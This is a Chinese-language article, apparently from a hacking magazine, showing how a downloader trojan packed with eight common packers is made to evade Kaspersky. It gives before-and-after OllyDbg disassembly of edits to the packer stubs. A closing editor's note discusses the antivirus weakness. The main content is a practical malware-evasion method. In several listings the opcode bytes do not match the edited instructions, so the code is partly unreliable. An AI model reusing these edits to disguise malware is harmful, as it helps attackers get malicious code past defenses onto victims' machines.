簡介:在眾多反病毒產品中,卡巴斯基在使用者口碑相當不錯,很多使用者都說卡巴司基的虛擬機器脫殼技術很強。然而筆者僅僅對通用的“加殼”步驟進行了小小的調整,卻有了驚人的發現——僅通過簡單的殼頭修改,卡巴大叔竟然無語了。
“小樣,你以為你穿了馬甲我就不認識你了?”這句台詞耳熟能詳。現在使用者用這句話來形容反病毒廠商的脫殼技術。這項技術的產生與病毒程式編寫者使用的“加殼”技術密切相關。
眾所周知,所謂“加殼”就是一種通過一系列數學運算,將可執行程式檔案或動態連結程式庫檔案的編碼進行改變,以達到縮小檔案體積或加密程式編碼的目的。運行時,外殼程式先被執行,然後由這個外殼程式負責將使用者原有的程式在記憶體中解壓縮,並把控制權交還給脫殼後的真正程式。一切操作自動完成,使用者不知道也無需知道殼程式是如何啟動並執行。一般情況下,加殼程式和未加殼程式的運行結果是一樣的。
面對病毒編寫者為其病毒“加殼”的問題,反病毒廠商自然而然地採用“脫殼”技術。脫殼的一般流程包括,查殼、尋找OEP(進入點,防止被破解)、Dump(卸出)、修複等步驟。目前,脫殼能力強弱則成為殺毒軟體查殺病毒能力如何的重要衡量指標。
病毒編寫者與反病毒廠商之間新一輪博弈在“加殼”與“脫殼”兩個共生技術之間展開了。
在眾多反病毒產品中,卡巴斯基在使用者口碑相當不錯,很多使用者都說卡巴司基的虛擬機器脫殼技術很強。然而筆者僅僅對通用的“加殼”步驟進行了小小的調整,卻有了驚人的發現——僅通過簡單的殼頭修改,卡巴大叔竟然無語了。
筆者隨便在網路上下了一個國外的下載者Deception4.0(以下簡稱DT)。卡巴是殺它的,不然測試就沒法進行了。雖然只修改了加在DT上的9,但是按照這種方式加在其他的可執行檔上卡巴也是不報毒的,其中修改後的程式保證了程式的可再運行,不然這種修改是無意義的測試。開始操作,下面準備了八個最常見的殼。
一、首先對NSPACK3.6的測試
用OD載入被加過NSPACK殼的DT,複製出前十幾行,如下(藍色加粗是要被修改的部位,以下格式如一)
004CF302 E8 00000000 call 複件_(2).004CF307
004CF307 5D pop ebp
004CF308 83C5 F9 sub ebp,7
004CF30B 8D85 0CFFFFFF lea eax,dword ptr ss:[ebp-F4]
004CF311 8338 01 cmp dword ptr ds:[eax],1
004CF314 0F84 47020000 je 複件_(2).004CF561
004CF31A C700 01000000 mov dword ptr ds:[eax],1
004CF320 8BD5 mov edx,ebp
004CF322 2B95 A0FEFFFF sub edx,dword ptr ss:[ebp-160]
004CF328 8995 A0FEFFFF mov dword ptr ss:[ebp-160],edx
004CF32E 1195 D0FEFFFF add dword ptr ss:[ebp-130],edx
004CF334 8DB5 14FFFFFF lea esi,dword ptr ss:[ebp-EC]
004CF33A 1116 add dword ptr ds:[esi],edx
修改成如下(紅色部分)
004CF302 E8 00000000 call 複件_(2).004CF307
004CF307 5D pop ebp
004CF308 83C5 F9 add ebp,-7
004CF30B 8D85 0CFFFFFF lea eax,dword ptr ss:[ebp-F4]
004CF311 8338 01 cmp dword ptr ds:[eax],1
004CF314 0F84 47020000 je 複件_(2).004CF561
004CF31A C700 01000000 mov dword ptr ds:[eax],1
004CF320 8BD5 mov edx,ebp
004CF322 2B95 A0FEFFFF sub edx,dword ptr ss:[ebp-160]
004CF328 8995 A0FEFFFF mov dword ptr ss:[ebp-160],edx
004CF32E 1195 D0FEFFFF adc dword ptr ss:[ebp-130],edx
004CF334 8DB5 14FFFFFF lea esi,dword ptr ss:[ebp-EC]
004CF33A 1116 adc dword ptr ds:[esi],edx
之後儲存檔案,用卡巴掃描,不再報毒。
二、FSG2.0的測試
OD載入被FSG2.0加了殼的DT
複製出前十幾行,如下
00400154 f> 8725 2C115300 xchg dword ptr ds:[53112C],esp
0040015A 61 popad
0040015B 94 xchg eax,esp
0040015C 55 push ebp
0040015D A4 movs byte ptr es:[edi],byte ptr ds:>
0040015E B6 80 mov dh,80
00400160 FF13 call dword ptr ds:[ebx]
00400162 ^ 77 F9 jnb short fsg2_0.0040015D
00400164 33C9 xor ecx,ecx
00400166 FF13 call dword ptr ds:[ebx]
00400168 77 16 jnb short fsg2_0.00400180
0040016A 33C0 xor eax,eax
修改後如下
00400154 f> 8725 2C115300 xchg dword ptr ds:[53112C],esp
0040015A 61 popad
0040015B 94 xchg eax,esp
0040015C 55 push ebp
0040015D A4 movs byte ptr es:[edi],byte ptr ds:>
0040015E B6 80 mov dh,80
00400160 FF13 call dword ptr ds:[ebx]
00400162 ^ 77 F9 ja short fsg2_0.0040015D
00400164 33C9 xor ecx,ecx
00400166 FF13 call dword ptr ds:[ebx]
00400168 77 16 ja short fsg2_0.00400180
0040016A 33C0 xor eax,eax
卡巴掃描,不再報毒。
三、winupack的測試
OD載入被加了殼的DT,如下
00526740 w> 60 pushad
00526741 E8 09000000 call winupack.0052674F
00526746 BE 651200E9 mov esi,E9001265
0052674B 06 push es
0052674C 1200 add al,byte ptr ds:[eax]
0052674E 1033 add byte ptr ds:[ebx],dh
00526750 C9 leave
00526751 5E pop esi
00526752 870E xchg dword ptr ds:[esi],ecx
00526754 ^ E3 F4 jecxz short winupack.0052674A
00526756 1BF1 sub esi,ecx
00526758 8BDE mov ebx,esi
0052675A AD lods dword ptr ds:[esi]
0052675B 1BD8 sub ebx,eax
0052675D AD lods dword ptr ds:[esi]
做了修改的如下
00526740 w> 60 pushad
00526741 E8 09000000 call winupack.0052674F
00526746 BE 651200E9 mov esi,E9001265
0052674B 06 push es
0052674C 1200 adc al,byte ptr ds:[eax]
0052674E 1033 adc byte ptr ds:[ebx],dh
00526750 C9 leave
00526751 5E pop esi
00526752 870E xchg dword ptr ds:[esi],ecx
00526754 ^ E3 F4 jecxz short winupack.0052674A
00526756 1BF1 sbb esi,ecx
00526758 8BDE mov ebx,esi
0052675A AD lods dword ptr ds:[esi]
0052675B 1BD8 sbb ebx,eax
0052675D AD lods dword ptr ds:[esi]
卡巴掃描,不再報毒。
四、ASPack的修改
同樣OD載入複製出前面的十幾行反組譯碼代碼,注意這個在載入之後把捲軸再向上拉一行。複製出來如下
004CC000 90 nop
004CC001 a> 60 pushad
004CC002 E8 03000000 call asp.004CC00A
004CC007 - E9 EB045D45 jmp 45A9C4F7
004CC00C 55 push ebp
004CC00D C3 retn
004CC00E E8 01000000 call asp.004CC014
004CC013 EB 5D jmp short asp.004CC072
004CC015 BB EDFFFFFF mov ebx,-13
004CC01A 03DD add ebx,ebp
004CC01C 81EB 00C00C00 sub ebx,0CC000
004CC022 83BD 22040000 00 cmp dword ptr ss:[ebp+422],0
修改後如下,對照前面地址一一對應的修改
004CC000 60 pushad
004CC001 a> 90 nop
004CC002 E8 03000000 call asp.004CC00A
004CC007 E8 EB045D45 call 45A9C4F7
004CC00C 55 push ebp
004CC00D C3 retn
004CC00E E8 01000000 call asp.004CC014
004CC013 73 5D jnb short asp.004CC072
004CC015 BB EDFFFFFF mov ebx,-13
004CC01A 11EB adc ebx,ebp
004CC01C 81C3 0040F3FF add ebx,FFF34000
004CC022 83BD 22040000 00 cmp dword ptr ss:[ebp+422],0
卡巴掃描,不再報毒。
五 JDPACK的修改
這個是修改最複雜的一個。幾乎面目全非了。但是能夠保證啟動並執行。修改前,如下
004CC000 複> 60 pushad
004CC001 E8 00000000 call 複件_(8).004CC006
004CC006 5D pop ebp
004CC007 8BD5 mov edx,ebp
004CC009 81ED C62B4000 sub ebp,複件_(8).00402BC6
004CC00F 2B95 61344000 sub edx,dword ptr ss:[ebp+403461]
004CC015 81EA 06000000 sub edx,6
004CC01B 8995 65344000 mov dword ptr ss:[ebp+403465],edx
004CC021 83BD 69344000 00 cmp dword ptr ss:[ebp+403469],0
修改後的
004CC000 複> 90 nop
004CC001 E8 00000000 call 複件_(8).004CC006
004CC006 5D pop ebp
004CC007 8BC5 mov eax,ebp
004CC009 8BD0 mov edx,eax
004CC00B 81ED C62B4000 sub ebp,複件_(8).00402BC6
004CC011 2B95 61344000 sub edx,dword ptr ss:[ebp+403461]
004CC017 83C2 FA add edx,-6
004CC01A 8995 65344000 mov dword ptr ss:[ebp+403465],edx
004CC020 90 nop
004CC021 83BD 69344000 00 cmp dword ptr ss:[ebp+403469],0
這個真的是讓我改的面目全非了 ,不過你可以把004CC021前面的都NOP掉,然後一行一行彙編上去就可以了。
六、UPX的修改
UPX可以說是免費的最經典的壓縮殼。我門來修改一下,OD載入。修改前,如下
004CE240 複> 60 pushad
004CE241 BE 00504700 mov esi,複件_(2).00475000
004CE246 8DBE 00C0F8FF lea edi,dword ptr ds:[esi+FFF8C000]
004CE24C C787 0CA70800 A5>mov dword ptr ds:[edi+8A70C],59AD25>
004CE256 57 push edi
004CE257 83CD FF or ebp,FFFFFFFF
004CE25A EB 0E jmp short 複件_(2).004CE26A
004CE25C 90 nop
004CE25D 90 nop
004CE25E 90 nop
004CE25F 90 nop
004CE260 8A06 mov al,byte ptr ds:[esi]
修改後如下
004CE240 複> 60 pushad
004CE241 BE 00504700 mov esi,複件_(2).00475000
004CE246 8DBE 00C0F8FF lea edi,dword ptr ds:[esi+FFF8C000]
004CE24C C787 0CA70800 A5>mov dword ptr ds:[edi+8A70C],59AD25>
004CE256 57 push edi
004CE257 83CD FF or ebp,FFFFFFFF
004CE25A 77 0E ja short 複件_(2).004CE26A
004CE25C 73 0C jnb short 複件_(2).004CE26A
004CE25E 72 0A jb short 複件_(2).004CE26A
004CE260 8A06 mov al,byte ptr ds:[esi]
卡巴掃描,不再報毒。
七、NSPACK1.1的修改
看了一下這個和3.6版本不是一個樣子的,所以這個也修改下。這個最簡單一個指令卡巴就不發出那難聽的叫聲了。OD載入,如下
004CF600 複> 9C pushfd
004CF601 60 pushad
004CF602 68 07F64C00 call 複件_(4).004CF607
004CF607 5D pop ebp
修改如下
004CF600 複> 9C pushfd
004CF601 60 pushad
004CF602 68 07F64C00 push 複件_(4).004CF607
004CF607 5D pop ebp
八、堀北壓縮(KBYS)0.28的修改
這個殼可以和UPX相媲美的壓縮殼,但是沒有UPX那麼著名,只要是它壓縮過的,卡巴大叔們都一路KILL。簡單修改下,卡巴大叔安靜了。OD載入,前四行如下
00401000 複> E8 F8C10C00 push 複件_(5).004CD1FD
00401005 68 0B104000 call 複件_(5).0040100B ; 入口地址
0040100A \. C3 retn
0040100B $ C3 retn
修改如下
[color=#ff0000] 00401000 複> E8 F8C10C00 call 複件_(5).004CD1FD
00401005 68 0B104000 push 複件_(5).0040100B ; 入口地址
0040100A \. C3 retn
0040100B $ C3 retn
以上是列舉了八種殼,都是通過殼頭的簡單修改,就使得卡巴這個號稱虛擬脫殼殺毒很強的世界頂級殺軟沉默了,當然我們拋開它目前的主動防禦殺毒,單從檔案查殺上做了一次測試,
從中似乎能分析出卡巴對於脫殼,也似乎是象特徵碼那樣,將殼的特徵入庫了,然後在利用脫殼引擎把殼脫掉去殺毒。如果這樣,那許多殼的特徵卡巴只放在了殼的頭部,尤其這種壓縮形式的殼是這樣的,對於某些加密殼,殼頭怎樣修改都無用。以上也僅僅是一種猜測。
編者:作者通過簡單的修改,使一個被殺的下載者逃過了卡巴斯基的查殺。其實,現在很多駭客都會通過修改木馬的服務端來躲避殺毒軟體的查殺。本文是以卡巴斯基為例子,相信大多數知名的殺毒軟體都會遇到這類難題。編者認為殺毒軟體對於一個殼不要簡單只識別殼的頭部來進行識別,取複合的殼特徵碼,這樣會增加查殺力度。另外從KBYS這個壓縮殼上也可以看出一個缺陷,卡巴通殺了加這個殼的可執行檔,但是似乎並未進行脫殼後的再查殺,所以只要讓這個殼免殺,那加了殼的檔案也就免殺了,殺的不徹底。另外,修改的過程中發現對於一些加密殼卡巴的查殺力度較大,這似乎對於不同種類的殼卡巴有不同的態度,但是糾其作為殺毒軟體來說,應該是一次性的徹底取特徵碼。